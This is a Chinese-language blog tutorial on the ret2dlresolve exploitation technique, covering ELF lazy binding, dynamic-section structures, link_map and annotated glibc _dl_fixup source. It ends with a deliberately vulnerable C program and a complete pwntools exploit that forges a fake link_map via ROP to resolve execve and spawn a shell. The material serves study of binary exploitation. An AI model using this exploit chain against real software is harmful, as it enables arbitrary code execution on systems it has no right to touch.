深入浅出探究Ret2dlreslove
前言
这个手法是国外作者在2015年提出的,当时的的漏洞利用通常包含两个阶段:第一步先通过信息泄露获得程序的内存布局;第二步才进行实际的漏洞利用。但就是有时候获得不到程序的内存布局,或者获得的被破坏的内存有时不可靠。于是作者提出了ret2dl-resolve
,巧妙地利用了ELF格式以及动态装载器的弱点,不需要进行信息泄露
,就可以直接标识关键函数的位置并调用。因此,笔者认为该手法的经典之处在于不需事先泄露共享库加载地址(libc
基地址)也可以调用到共享库函数,故而不针对需要泄露地址才能成功的情况进行记录。
由于此文只是对于本人学习该手法的一个简单归档,所以一些简单的概念不再赘述。
Ret2dlreslove原理
动态链接的elf
文件由于采用了延迟绑定技术,在首次调用外部函数时才会去解析该函数的真实地址,即调用_dl_runtime_reslove
进行地址解析,得到实际地址后会回写got表并执行。Ret2dlreslove
就是在这一过程中对相关结构体进行伪造,利用函数_dl_runtime_resolve
的内部逻辑使得程序解析出一个恶意函数例如execve
并执行。
前置知识
延迟绑定
是什么
动态链接的程序在启动时不需要装载外部引用函数的地址,而是在第一次调用外部函数时才会去通过_dl_runtime_reslove(link_map,offset)
解析函数的真实地址并回写got.plt
表(修正外部函数的引用)。
如何实现
如下图,在第一次调用外部引用函数read
时,程序先跳转到read
的GOT
表,而此时那里并不是read
的真实地址,而是read
的plt
表地址,因此程序又跳转到了read@plt
,执行了push num
(num
为read
的重定位表项相对于重定位段的偏移) jmp PLT[0]
,再执行push GOT[1]->link_map
,jmp GOT[2]->_dl_runtime_reslove
,由_dl_runtime_reslove
进行符号解析与重定位。
ELF文件中动态链接相关段简述
.dynamic
该节存放了许多Elf64_Dyn
结构体,在IDA中位于got表的上面,保存了动态链接器
所需要的基本信息
,比如存放了ELF
文件其他节的标识和起始地址。结构体定义如下所示。
typedef struct { Elf64_Sxword d_tag;//动态段标识号 Elf64_Sxword d_un //动态段起始地址 } Elf64_Dyn;
其中关键字d_tag
定义如下:
/* Legal values for d_tag (dynamic entry type). */ #define DT_NULL 0 /* Marks end of dynamic section */ #define DT_NEEDED 1 /* Name of needed library */ #define DT_PLTRELSZ 2 /* Size in bytes of PLT relocs */ #define DT_PLTGOT 3 /* Processor defined value */ #define DT_HASH 4 /* Address of symbol hash table */ #define DT_STRTAB 5 /* Address of string table */ #define DT_SYMTAB 6 /* Address of symbol table */ #define DT_RELA 7 /* Address of Rela relocs */ #define DT_RELASZ 8 /* Total size of Rela relocs */ #define DT_RELAENT 9 /* Size of one Rela reloc */ #define DT_STRSZ 10 /* Size of string table */ #define DT_SYMENT 11 /* Size of one symbol table entry */ #define DT_INIT 12 /* Address of init function */ #define DT_FINI 13 /* Address of termination function */ #define DT_SONAME 14 /* Name of shared object */ #define DT_RPATH 15 /* Library search path (deprecated) */ #define DT_SYMBOLIC 16 /* Start symbol search here */ #define DT_REL 17 /* Address of Rel relocs */ #define DT_RELSZ 18 /* Total size of Rel relocs */ #define DT_RELENT 19 /* Size of one Rel reloc */ #define DT_PLTREL 20 /* Type of reloc in PLT */ #define DT_DEBUG 21 /* For debugging; unspecified */ #define DT_TEXTREL 22 /* Reloc might modify .text */ #define DT_JMPREL 23 /* Address of PLT relocs */ #define DT_BIND_NOW 24 /* Process relocations of object */ #define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ #define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ #define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ #define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ #define DT_RUNPATH 29 /* Library search path */ #define DT_FLAGS 30 /* Flags for the object being loaded */ #define DT_ENCODING 32 /* Start of encoded range */ #define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ #define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ #define DT_SYMTAB_SHNDX 34 /* Address of SYMTAB_SHNDX section */ #define DT_NUM 35 /* Number used */
.rel.plt
该节存放了许多Elf64_Rela
结构体,是对函数引用的修正,修正的位置在got.plt
表,每个libc库函数都有自己的Elf64_Rela
结构体。在程序入口附近,位于LOAD
段。
typedef struct { Elf64_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移,got表地址 */ ***************** Elf64_Xword r_info; /* 这是一个复合值,重定位类型和符号表下标 */ ********************************* Elf64_Sxword r_addend; /* Addend */ } Elf64_Rela;
r_info
是一个复合值,其高32位
表示该重定位项在动态链接符号表.dynsym
中对应项的下标
,低32位
表示该重定位项的重定向类型
。
重定位类型(Relocation Types)
/* i386 relocs. */ #define R_386_NONE 0 /* No reloc */ #define R_386_32 1 /* Direct 32 bit */ #define R_386_PC32 2 /* PC relative 32 bit */ #define R_386_GOT32 3 /* 32 bit GOT entry */ #define R_386_PLT32 4 /* 32 bit PLT address */ #define R_386_COPY 5 /* Copy symbol at runtime */ #define R_386_GLOB_DAT 6 /* Create GOT entry */ #define R_386_JMP_SLOT 7 /* Create PLT entry */ #define R_386_RELATIVE 8 /* Adjust by program base */ ...... /* AMD x86-64 relocations. */ #define R_X86_64_NONE 0 /* No reloc */ #define R_X86_64_64 1 /* Direct 64 bit */ #define R_X86_64_PC32 2 /* PC relative 32 bit signed */ #define R_X86_64_GOT32 3 /* 32 bit GOT entry */ #define R_X86_64_PLT32 4 /* 32 bit PLT address */ #define R_X86_64_COPY 5 /* Copy symbol at runtime */ #define R_X86_64_GLOB_DAT 6 /* Create GOT entry */ #define R_X86_64_JUMP_SLOT 7 /* Create PLT entry */ #define R_X86_64_RELATIVE 8 /* Adjust by program base */ #define R_X86_64_GOTPCREL 9 /* 32 bit signed PC relative offset to GOT */ ......
32位ELF
一般用来函数重定位的重定位类型就是R_386_JMP_SLOT
类型,64位ELF
函数重定位的重定位类型就是R_X86_64_JUMP_SLOT
类型,源码对其的注释是Create PLT entry
。这种类型的函数重定位
都会在ELF
中创建一个PLT入口
。
.dynsym
该节存放了许多Elf64_Sym
结构体,同样地,每个libc
函数都有自己的Elf64_Sym
。在程序入口附近,位于LOAD
段。
typedef struct { Elf64_Word st_name; /* 符号名,符号在字符串表STRTAB中的偏移 */************************** unsigned char st_info; /* 符号类型及绑定属性 */ unsigned char st_other; /* 符号的可见性,为0代表函数的相对于共享库的加载地址的偏移未知,不为0代表偏移已知 */ ******************** Elf64_Section st_shndx; /* 节头表索引 */ Elf64_Addr st_value; /* 符号的值,函数的相对于共享库的加载地址的偏移 */************************ Elf64_Xword st_size; /* 符号的大小 */ } Elf64_Sym;
st_info
大小为 1 Btyes,高4位表示符号的绑定特征,低4位表示符号类型。
绑定特征(高四位),
#define STB_LOCAL 0 /* Local symbol 局部符号(本文件可见) */ #define STB_GLOBAL 1 /* Global symbol 全局符号(多文件可见) */ #define STB_WEAK 2 /* Weak symbol 弱符号,即遇到同名的符号优先弃用该符号的声明*/ #define STB_NUM 3 /* Number of defined types. */ #define STB_LOOS 10 /* Start of OS-specific */ #define STB_GNU_UNIQUE 10 /* Unique symbol. */ #define STB_HIOS 12 /* End of OS-specific */ #define STB_LOPROC 13 /* Start of processor-specific */ #define STB_HIPROC 15 /* End of processor-specific */
绑定特征0,1,2
均可取。
符号类型(低四位)
#define STT_NOTYPE 0 /* Symbol type is unspecified */ #define STT_OBJECT 1 /* Symbol is a data object */ #define STT_FUNC 2 /* Symbol is a code object */ #define STT_SECTION 3 /* Symbol associated with a section */ #define STT_FILE 4 /* Symbol's name is file name */ #define STT_COMMON 5 /* Symbol is a common data object */ #define STT_TLS 6 /* Symbol is thread-local data object*/ #define STT_NUM 7 /* Number of defined types. */ #define STT_LOOS 10 /* Start of OS-specific */ #define STT_GNU_IFUNC 10 /* Symbol is indirect code object */ #define STT_HIOS 12 /* End of OS-specific */ #define STT_LOPROC 13 /* Start of processor-specific */ #define STT_HIPROC 15 /* End of processor-specific */
函数和变量分别取1, 2
即可。
那么稍微总结一下得到st_info
取值的一般规律如下:
绑定函数: st_info = 0x12 例如: read,printf,__libc_start_main 绑定全局变量: st_info = 0x11 例如: stdin,stdout,_IO_stdin_used 绑定弱变量: st_info = 0x20 例如: __gmon_start__
.dynstr
即字符串表(STRTAB),该节存放的是libc函数的符号名,就是一个一个的字符串,诸如此类'exit'、'read'。在程序入口附近,位于LOAD
段。
link_map
link_map
是描述已加载的共享对象的结构体,采用双链表管理,该数据结构保存在ld.so
的.bss
段中。
struct link_map { ElfW(Addr) l_addr; /*共享对象的加载基址;*/ char *l_name; ElfW(Dyn) *l_ld; struct link_map *l_next, *l_prev; /*管理link_map的双链表指针;*/ struct link_map *l_real; Lmid_t l_ns; struct libname_list *l_libname; ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM]; /*保存Elfxx_Dyn结构体指针的列表,用来寻找各节基址;如l_info[DT_STRTAB]指向保存着函数解析字符串表基址的Elfxx_Dyn结构体。*/ const ElfW(Phdr) l_phdr; ElfW(Addr) l_entry; ElfW(Half) l_phnum; ElfW(Half) l_ldnum;
dl_runtime_resolve解析
该函数的作用主要分为两部分,符号解析和地址重定位,此手法是在符号解析部分做文章,因此在这里只讨论该函数进行符号解析的过程。
语言简述
-
根据
offset
找到待解析函数对应的ELF_Rela
结构体。 -
根据
ELF_Rela->r_offset
获得解析出真实地址后回写所需的GOT
表地址,通过ELF_Rela->r_offset>>8
找到待解析函数对应的Elf64_Sym
。 -
根据
Elf64_Sym->st_name
找到待解析函数在字符串表STRTAB
中对应的符号名。
源码层面分析
如下图,程序进入dl_runtime
函数后的调用链。其中,符号解析主要由_dl_fixup
函数完成(接收参数与dl_runtime
一样,返回待解析函数真实地址),在该函数内部调用了_dl_lookup_symbol_x
函数(接收参数包含待解析函数的符号名与link_map
结构体,返回值为共享库加载地址即libc
基地址并计算出了待解析函数的偏移,此时rdx
寄存器地址加8字节即为该偏移),这个dl_lookup_symbol_x
函数主要负责地址解析。
这里重点分析_dl_fixup
函数。
_dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElW(Word) reloc_arg)// (link_map,offset) { /*#define D_PTR(map, i) \ D_PTR是一个宏定义,用于通过linkmap寻址 glibc/sysdeps/generic/ldsodefs.h ((map)->i->d_un.d_ptr + (dl_relocate_ld (map) ? 0 : (map)->l_addr))*/ //ELFW宏用来拼接字符串,在这里实际上是为了自动兼容32和64位,Elf32_Sym或Elf64_Sym const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const uintptr_t pltgot = (uintptr_t) D_PTR (l, l_info[DT_PLTGOT]); //通过link_map结构获取重定位表.rel.plt中所求函数的重定位项的地址 //reloc_offset为所解析函数的重定位项在重定位表.rel.plt中的偏移 const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset (pltgot, reloc_arg)); //求出所求函数在动态链接符号表.dynsym中对应符号项的地址 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; const ElfW(Sym) *refsym = sym; //l_addr是共享库或可执行文件加载基址,rel_addr是重定位需要修改内容的地址,也就是.got.plt中所求函数对应项 //r_offset为相对虚拟地址,rel_addr为虚拟地址 void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; //查找函数的结果,其为定义函数的共享对象的加载基地址 DL_FIXUP_VALUE_TYPE value; //DL_FIXUP_VALUE_TYPE是fixup/profile_fixup返回值的类型。用于保存函数的真实地址。 /* Sanity check that we're really looking at a PLT relocation. */ /* 安全性检查,我们需要确定它是一个PLT的重定位项 */ //r_info的低8位为重定位类型设置为7意味着它是一个PLT的重定位项 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); /* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */ /* 查找目标符号。如果未使用常规查找规则,则不要在全局范围内查找。 */ if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) //if(sym->st_other==0) { const struct r_found_version *version = NULL; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; } /* We need to keep the scope around so do some locking. This is not necessary for objects which cannot be unloaded or when we are not using any threads (yet). */ /* 我们需要保持范围不变,因此需要进行一些锁定。 对于无法卸载的对象或尚未使用任何线程的对象,这不是必需的。 */ int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; } #ifdef RTLD_ENABLE_FOREIGN_CALL RTLD_ENABLE_FOREIGN_CALL; #endif //strtab + sym->st_name为所解析函数的符号在字符串表中的地址,result为定义函数的共享对象的加载基地址即libc基地址 //_dl_lookup_symbol_x的功能是在加载的共享对象的符号表中搜索符号的定义,其参数也许带有该符号的版本。 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,///////////////////////////////////////////////////////////////////////////// version, ELF_RTYPE_CLASS_PLT, flags, NULL); /* We are done with the global scope. */ /* 我们已经完成了全局范围的工作。 */ if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG (); #ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL; #endif /* 当前result包含定义sym的共享对象的加载基地址(或link map)。 现在添加符号偏移量。 */ //value为所求函数的真实内存地址 //SYMBOL_ADDRESS(map, ref, map_set):如果ref不是NULL,则使用映射MAP中的基地址来计算符号引用的地址。 //如果MAP_SET为TRUE,请勿检查NULL映射。 /* Currently result contains the base load address (or link map) of the object that defines sym. Now add in the symbol offset. */ value = DL_FIXUP_MAKE_VALUE (result, /////////////////////////////////////////////////////////////////////////////////////////////////////// SYMBOL_ADDRESS (result, sym, false)); } else//未使用常规查找规则 {/*我们已经找到符号了。模块(以及它的负载) 地址)也是已知的。* / /* We already found the symbol. The module (and therefore its load address) is also known. */ value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));//////////////////////////////////////////////////////////////////////////////////////// result = l; } /* And now perhaps the relocation addend. */ //现在也许是重新定位的加法。 //elf_machine_plt_value返回PLT重定位的最终值。在x86-64上JUMP_SLOT重定位忽略addend。 value = elf_machine_plt_value (l, reloc, value); if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0)) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); #ifdef SHARED /* Auditing checkpoint: we have a new binding. Provide the auditing libraries the possibility to change the value and tell us whether further auditing is wanted. The l_reloc_result is only allocated if there is an audit module which provides a la_symbind. */ /*审计检查点:我们有一个新的绑定。提供审计 库提供了更改值的可能性,并告诉我们是否进一步更改 需要审计。 l_reloc_result仅在存在审计模块时才会被分配 提供一个la_symbind。*/ if (l->l_reloc_result != NULL) { /* This is the address in the array where we store the result of previous relocations. */ struct reloc_result *reloc_result = &l->l_reloc_result[reloc_index (pltgot, reloc_arg, sizeof (PLTREL))]; unsigned int init = atomic_load_acquire (&reloc_result->init); if (init == 0) { _dl_audit_symbind (l, reloc_result, sym, &value, result); /* Store the result for later runs. */ if (__glibc_likely (! GLRO(dl_bind_not))) { reloc_result->addr = value; /* Guarantee all previous writes complete before init is updated. See CONCURRENCY NOTES below. */ atomic_store_release (&reloc_result->init, 1); } } else value = reloc_result->addr; } #endif /* Finally, fix up the plt itself. */ /* 最后,修复PLT本身。 */ if (__glibc_unlikely (GLRO(dl_bind_not))) return value; //向所查找函数对应的GOT表中填写找到的函数的真实地址。 return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); }
RELRO(重定位段只读保护)
该保护分可为三个等级。
NO RELRO
保护未开的情况,所有重定位段均可写,包括.dynamic
、.got
、.got.plt
。
Partial RELRO
部分开启保护.dynamic、.got被标记为只读,并且会强制地将ELF的内部数据段 .got 、.got.plt等放到外部数据段 .data、.bss之前,这样可以防止数据溢出时破坏GOT表。
Full RELRO
继承Partial RELRO
的所有保护,并且.got.plt
也被标为只读。实际上在IDA中反编译程序会看到,此时已经不区分got
表和got.plt
表,而是统一显示为got
表。
64位下无输出函数利用方法(二级保护)
引例源码
//gcc fixup.c -o part -z lazy -no-pie -fno-stack-protector //编译于Ubuntu 18.04 //Ubuntu GLIBC 2.35-0ubuntu3.1 #include <stdio.h> int readn(){ int num=0; char buf[32]; num=read(0,buf,0x100); return num; } int main(){ readn(); exit(0); }
利用思路
伪造link_map
和相关字段值,调用dl_runtime_reslove
函数进行解析。
限制条件:
- 需要可以控制执行流
- 需要有可写的内存区域
- 需要知道libc版本
利用模板
#Ubuntu GLIBC 2.35-0ubuntu3.1 from tools import * context(log_level="debug") p,elf,libc=load("part") global linkmap_addr global custom_data_addr #pwnable.tw unexploitable def forge_linkmap(linkmap_addr, known_libc_RVA, call_libc_RVA, known_elf_got_VA, arch='x64',custom_data=b""): assert isinstance(custom_data, bytes) //检查custom_data是否为bytes类型 DT_STRTAB = 5 DT_SYMTAB = 6 DT_JMPREL = 23 print_info(call_libc_RVA- known_libc_RVA) l_addr = (call_libc_RVA- known_libc_RVA) & 0xffffffffffffffff log_addr("l_addr") execve_got=0x601000 print_info(execve_got-l_addr) execve_got=(execve_got-l_addr)&0xffffffffffffffff log_addr("execve_got") binsh = 0 fake_rel_entry = b"" # fake entry writable_addr = 0 # got rewrite addr, must writable padding_byte = b"\x00" if arch=='x64': sizes = { "size_t":0x8, "l_addr":0x8, "l_info_offset":0x40, "Elf_Dyn":0x10, "Elf_Rel":0x18, "Elf_Sym":0x18, } pck = p64 writable_addr = linkmap_addr + sizes['l_info_offset'] - sizes['size_t'] fake_rel_entry = pck(execve_got)+ pck(7) + pck(0) # r_offset + r_info + r_addend : got_VA=writable_addr + <INDEX=0>|<TYPE=7> + whatever else: sizes = { "size_t":0x4, "l_addr":0x4, "l_info_offset":0x20, "Elf_Dyn":0x8, "Elf_Rel":0x8, "Elf_Sym":0x10, } pck = p32 writable_addr = linkmap_addr + sizes['l_info_offset'] - sizes['size_t'] fake_rel_entry = pck(writable_addr) + pck(7) # r_offset + r_info : got_VA=writable_addr + <INDEX=0>|<TYPE=7> l_info_offset = lambda idx : sizes["l_info_offset"] + idx*sizes["size_t"] # fill in l_info. # e.g. l_info[DT_STRTAB] = fake_dyn_strtab_entry_addr fake_dyn_strtab_entry_addr = linkmap_addr + sizes['l_addr' ] #指向了代码第77行的fake_dyn_strtab_entry 结构体 fake_dyn_jmprel_entry_addr = fake_dyn_strtab_entry_addr + sizes['Elf_Dyn'] fake_dyn_symtab_entry_addr = fake_dyn_jmprel_entry_addr + sizes['Elf_Dyn'] fake_str_entry_addr = 0 # dlresolve: func str addr whatever fake_rel_entry_addr = linkmap_addr + sizes['l_info_offset'] # avoid program crash, must writable fake_sym_entry_addr = known_elf_got_VA - sizes['size_t'] # dlresolve: got entry and fake sym entry overlap fake_dyn_strtab_entry = pck(DT_STRTAB) + pck(fake_str_entry_addr) # Elf_Dyn: d_tag + d_ptr ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ fake_dyn_symtab_entry = pck(DT_SYMTAB) + pck(fake_sym_entry_addr) # Elf_Dyn: d_tag + d_ptr ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ fake_dyn_jmprel_entry = pck(DT_JMPREL) + pck(fake_rel_entry_addr) # Elf_Dyn: d_tag + d_ptr ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ #^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # Forge fake linkmap struct linkmap = pck(l_addr) # diff between func A and func B: call_RVA - known_RVA # Three fake dyn entry linkmap += fake_dyn_strtab_entry # point to fake_str_entry linkmap += fake_dyn_jmprel_entry # point to fake_rel_entry linkmap += fake_dyn_symtab_entry # point to fake_sym_entry which overlaps with got entry # Padding until l_info array start linkmap = linkmap.ljust(sizes["l_info_offset"],padding_byte) # Insert fake str entry before l_info[DT_STRTAB] linkmap += fake_rel_entry # l_info[0]、l_info[1]、l_info[2] 对攻击没有影响,所幸将rel结构体的内容放在从这个内存单元开始的三个内存单元:Elf64_Rel=p64(linkmap_addr + 0x40 - 0x8)+p64(7)+p64(whatever) linkmap = linkmap.ljust(l_info_offset(DT_STRTAB), padding_byte)#从_info[3]、l_info[4]填充成垃圾数据 # l_info list: each element is a pointer to a specific Elf_Dyn entry linkmap += pck(fake_dyn_strtab_entry_addr) # l_info[DT_STRTAB], just readable addr actually l_info[5],填上 fake_dyn_strtab_entry_addr,这个地址间接指向(dyn)了fake_dyn_strtab_entry:p64(5)+p64(strtab_address) linkmap += pck(fake_dyn_symtab_entry_addr) # l_info[DT_SYMTAB] l_info[6],填上 fake_dyn_symtab_entry_addr,这个地址指向了fake_dyn_symtab_entry:p32(st_name)+p32(st_info)+p32(st_other)+p32(st_shndx)+p32(st_value)+p32(st_size) padding_size = l_info_offset(DT_JMPREL) - l_info_offset(DT_SYMTAB) - sizes['size_t'] #算一下从l_info[7]开始到l_info[23]之间有多少字节空闲内存 # ,如果大于我们要填的后门函数的参数的字符串的长度就把字符串“/bin/sh”填进入 if(len(custom_data)<=padding_size): linkmap += custom_data custom_data_addr = linkmap_addr + l_info_offset(DT_SYMTAB) + sizes['size_t'] linkmap = linkmap.ljust(l_info_offset(DT_JMPREL),padding_byte) linkmap += pck(fake_dyn_jmprel_entry_addr) # l_info[DT_JMPREL] l_info[23],填上 fake_dyn_jmptab_entry_addr,这个地址指向了fake_dyn_jmptab_entry # otherwise, place custom_data on the bottom # it will enlarge fake link_map size if(len(custom_data)>padding_size): linkmap += custom_data custom_data_addr = linkmap_addr + l_info_offset(DT_JMPREL) + sizes['size_t'] return linkmap,custom_data_addr main=0x00000000400537 csu1=0x00000000004005EA csu2=0x00000000004005D0 binsh=0x0000000000601038 read_got=0x0000000000601018 pop_rdi=0x00000000004005f3 dl_runtime=0x601010 writable_addr=0x00000000601028 kong=0x600e48 _dl_runtime_resolve_xsavec=0x400426 execve_off=0xeb0f0 read_off=0x114980 #custom_data_addr=16 fake_link_map,custom_data_addr=forge_linkmap(writable_addr,read_off,execve_off,0x0000000000601018, arch='x64', custom_data=b"/bin/sh\x00") #print(fake_link_map,custom_data_addr)#findlly, write execve to read_got debug(p) payload=cyclic(0x38)+p64(csu1)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(writable_addr)+p64(0x100)+p64(csu2)+p64(0)*7+p64(main) p.send(payload) pause() p.send(fake_link_map) pause() payload=cyclic(0x38)+p64(csu1)+p64(0)+p64(1)+p64(kong)+p64(custom_data_addr)+p64(0)+p64(0)+p64(csu2)+p64(0)*7+p64(_dl_runtime_resolve_xsavec)+p64(writable_addr)+p64(0)+p64(main) p.send(payload) p.interactive()
相关链接
附件:https://pan.baidu.com/s/16o1LLcLES0NoP9y1UzoEHw?pwd=1234
提取码:1234
参考链接:
Ret2dlresolve攻击——从No RELRO到FULL RELRO | T3stzer0's Blog (testzero-wz.com)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 零经验选手,Compose 一天开发一款小游戏!
· 因为Apifox不支持离线,我果断选择了Apipost!
· 通过 API 将Deepseek响应流式内容输出到前端